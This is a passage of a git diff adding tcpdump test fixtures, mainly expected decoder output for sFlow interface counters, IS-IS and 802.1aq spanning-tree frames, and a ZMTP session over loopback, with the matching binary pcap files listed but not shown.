+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 25, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1314601210, unicast pkts 4258058414, multicast pkts 1154, broadcast pkts 42425, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2836953588, unicast pkts 2986750860, multicast pkts 2197982, broadcast pkts 48321714, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007194, type 0, idx 26, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 26, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2022052468, unicast pkts 13527038, multicast pkts 933, broadcast pkts 57921, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 620629707, unicast pkts 19469425, multicast pkts 2198358, broadcast pkts 48305869, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007254, type 0, idx 27, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 27, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3262458931, unicast pkts 47684835, multicast pkts 1039, broadcast pkts 5299, discards 0
+	      In errors 3, unknown protos 0
+	      Out octets 3900626480, unicast pkts 54120142, multicast pkts 2198706, broadcast pkts 48356894, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005149, type 0, idx 28, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 28, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 259120552, unicast pkts 1107924, multicast pkts 198, broadcast pkts 3429, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 653805810, unicast pkts 4189777, multicast pkts 2198871, broadcast pkts 48346830, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12217, offset 0, flags [none], proto UDP (17), length 1136)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499691, uptime 12975801, samples 6, length 1108
+	expanded counter sample (4), length 172, seqnum 2007269, type 0, idx 29, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 29, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1267844166, unicast pkts 49781127, multicast pkts 1368, broadcast pkts 40480, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 321243842, unicast pkts 57718818, multicast pkts 2197767, broadcast pkts 48323189, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009634, type 0, idx 30, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 30, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1960827113, unicast pkts 4258067543, multicast pkts 1249, broadcast pkts 60280, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3144893898, unicast pkts 3032873251, multicast pkts 2198370, broadcast pkts 48301571, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2017265, type 0, idx 50, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 50, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4161963799, unicast pkts 3263163886, multicast pkts 1151176, broadcast pkts 287880331, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 296849779, unicast pkts 1684325936, multicast pkts 1126235, broadcast pkts 1405132663, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2017180, type 0, idx 51, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 51, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2214905605, unicast pkts 2466386895, multicast pkts 5276601, broadcast pkts 1225128676, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3025945518, unicast pkts 2183065991, multicast pkts 899419, broadcast pkts 2308600565, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1220660, type 0, idx 52, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 52, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3618900052, unicast pkts 334487763, multicast pkts 651947, broadcast pkts 3712423535, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 697413100, unicast pkts 537120139, multicast pkts 163886, broadcast pkts 4083094099, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 1
+	expanded counter sample (4), length 172, seqnum 1220563, type 0, idx 53, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 53, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 851211409, unicast pkts 325440450, multicast pkts 164171, broadcast pkts 21946046, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1855403849, unicast pkts 517660679, multicast pkts 163669, broadcast pkts 21301, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27102, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354087, uptime 15619401, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007460, type 0, idx 1, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 1, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 398, unicast pkts 0, multicast pkts 5, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3980656605, unicast pkts 65082, multicast pkts 2199480, broadcast pkts 48372199, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007456, type 0, idx 2, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 2, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1444442513, unicast pkts 69372226, multicast pkts 1207, broadcast pkts 31114, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1845546441, unicast pkts 41823689, multicast pkts 2201740, broadcast pkts 48335077, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007397, type 0, idx 3, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 3, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 200763454, unicast pkts 891785, multicast pkts 982, broadcast pkts 13320, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 3317395016, unicast pkts 5225674, multicast pkts 1949791, broadcast pkts 8711770, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007403, type 0, idx 4, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 4, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 165801154, unicast pkts 662297, multicast pkts 491, broadcast pkts 15752, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2164450538, unicast pkts 1115261, multicast pkts 1949901, broadcast pkts 8709518, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1993493, type 0, idx 5, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 5, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 198991268, unicast pkts 941829, multicast pkts 664, broadcast pkts 33726, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 4052534333, unicast pkts 2591418, multicast pkts 1994963, broadcast pkts 8691000, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 1, frames too long 0, mac receive errors 0, symbol errors 1
+	expanded counter sample (4), length 172, seqnum 2007738, type 0, idx 6, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 6, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 561751280, unicast pkts 575605209, multicast pkts 1250, broadcast pkts 15322854, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 1513354003, unicast pkts 602598577, multicast pkts 1954404, broadcast pkts 4990182, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008404, type 0, idx 7, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 7, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3193665262, unicast pkts 642460773, multicast pkts 1401, broadcast pkts 219742, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2913194494, unicast pkts 390983681, multicast pkts 1955407, broadcast pkts 20090614, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 27103, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.194.3099 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.194, agent-id 1, seqnum 10354088, uptime 15619403, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2008395, type 0, idx 8, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 8, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1089063112, unicast pkts 559652885, multicast pkts 634, broadcast pkts 224712, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3489201351, unicast pkts 383200930, multicast pkts 1955795, broadcast pkts 20085990, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008430, type 0, idx 9, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 9, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2436646808, unicast pkts 568003495, multicast pkts 906, broadcast pkts 16545, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1717246599, unicast pkts 389888234, multicast pkts 1955669, broadcast pkts 20294137, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005879, type 0, idx 10, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 10, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 105616289, unicast pkts 531333, multicast pkts 768, broadcast pkts 9159, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 10387728, unicast pkts 2209569, multicast pkts 1954606, broadcast pkts 20288651, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007662, type 0, idx 11, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 11, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1801371574, unicast pkts 137590493, multicast pkts 2109, broadcast pkts 55528, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1769141617, unicast pkts 113363676, multicast pkts 2197521, broadcast pkts 48315560, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007553, type 0, idx 12, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 12, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4201581256, unicast pkts 45842890, multicast pkts 1610, broadcast pkts 22730, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1948082196, unicast pkts 53163690, multicast pkts 2198297, broadcast pkts 48348226, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007541, type 0, idx 13, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 13, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1019109063, unicast pkts 46613839, multicast pkts 1236, broadcast pkts 22226, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2052469045, unicast pkts 53287225, multicast pkts 2198499, broadcast pkts 48348754, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2010425, type 0, idx 14, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 14, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 36138805, unicast pkts 2267783883, multicast pkts 298, broadcast pkts 38306126, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 614425293, unicast pkts 2014274284, multicast pkts 2199305, broadcast pkts 10065409, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/sflow_multiple_counter_30_pdus.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/sflow_multiple_counter_30_pdus.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..5ec39c4056885d6403784860e5c8fab7e96cfcc3
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/sflow_multiple_counter_30_pdus.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/spb.out b/peasoup_examples/tests/tcpdump/tcpd_tests/spb.out
new file mode 100644
index 0000000000000000000000000000000000000000..ef2f82a1899139629ddd4afbd32cd3830eb45b67
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/spb.out
@@ -0,0 +1,53 @@
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, L1 LSP, lsp-id 2222.2222.2222.00-00, seq 0x0000000f, lifetime  1200s, length 149
+IS-IS, L1 PSNP, src-id 8888.8888.8888.00, length 35
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, L1 LSP, lsp-id 2222.2222.2222.00-00, seq 0x00000010, lifetime  1200s, length 149
+IS-IS, L1 PSNP, src-id 8888.8888.8888.00, length 35
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
+IS-IS, p2p IIH, src-id 2222.2222.2222, length 1492
+IS-IS, p2p IIH, src-id 8888.8888.8888, length 1492
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/spb.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/spb.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..99e250546af805826aa48fe02148a7ac60ac80eb
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/spb.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/spb_bpduv4.out b/peasoup_examples/tests/tcpdump/tcpd_tests/spb_bpduv4.out
new file mode 100644
index 0000000000000000000000000000000000000000..748d4d25d1af652f33e638e270b6940c78d28c75
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/spb_bpduv4.out
@@ -0,0 +1,25 @@
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
+STP 802.1aq, Rapid STP, CIST Flags [Learn, Forward], length 205
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/spb_bpduv4.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/spb_bpduv4.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..b12d4c155835314b2ffe8a82d8c59257591464c3
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/spb_bpduv4.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/zmtp1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/zmtp1.out
new file mode 100644
index 0000000000000000000000000000000000000000..5b52877463ce2a59eb61b34dbc758ae105474d44
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/zmtp1.out
@@ -0,0 +1,73 @@
+IP (tos 0x0, ttl 64, id 17993, offset 0, flags [DF], proto TCP (6), length 60)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [S], cksum 0xfe30 (incorrect -> 0x1a9d), seq 2523978814, win 32792, options [mss 16396,sackOK,TS val 245537399 ecr 0,nop,wscale 7], length 0
+IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
+    127.0.0.1.33000 > 127.0.0.1.55358: Flags [S.], cksum 0xfe30 (incorrect -> 0x31b6), seq 3988083230, ack 2523978815, win 32768, options [mss 16396,sackOK,TS val 245537399 ecr 245537399,nop,wscale 7], length 0
+IP (tos 0x0, ttl 64, id 17994, offset 0, flags [DF], proto TCP (6), length 52)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x19da), ack 1, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+IP (tos 0x0, ttl 64, id 17995, offset 0, flags [DF], proto TCP (6), length 54)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe2a (incorrect -> 0x18d0), seq 1:3, ack 1, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 2: ZMTP/1.0
+	 frame flags+body  (8-bit) length 1, flags 0x00 (-|-|-|-|-|-|-|-)
+IP (tos 0x0, ttl 64, id 51304, offset 0, flags [DF], proto TCP (6), length 52)
+    127.0.0.1.33000 > 127.0.0.1.55358: Flags [.], cksum 0xfe28 (incorrect -> 0x19d9), ack 3, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+IP (tos 0x0, ttl 64, id 51305, offset 0, flags [DF], proto TCP (6), length 54)
+    127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe2a (incorrect -> 0x18cf), seq 1:3, ack 3, win 256, options [nop,nop,TS val 245537399 ecr 245537399], length 2: ZMTP/1.0
+	 frame flags+body  (8-bit) length 1, flags 0x00 (-|-|-|-|-|-|-|-)
+IP (tos 0x0, ttl 64, id 17996, offset 0, flags [DF], proto TCP (6), length 52)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x19d6), ack 3, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 0
+IP (tos 0x0, ttl 64, id 17997, offset 0, flags [DF], proto TCP (6), length 148)
+    127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0xfe88 (incorrect -> 0x11da), seq 3:99, ack 3, win 257, options [nop,nop,TS val 245537399 ecr 245537399], length 96: ZMTP/1.0
+	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+	 frame flags+body  (8-bit) length 93, flags 0x00 (-|-|-|-|-|-|-|-), first 92 byte(s) of body:
+	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+	 0x0010:  4153 4349 4920 6d65 7373 6167 6520 666f  ASCII.message.fo
+	 0x0020:  6c6c 6f77 6564 2062 7920 6120 7368 6f72  llowed.by.a.shor
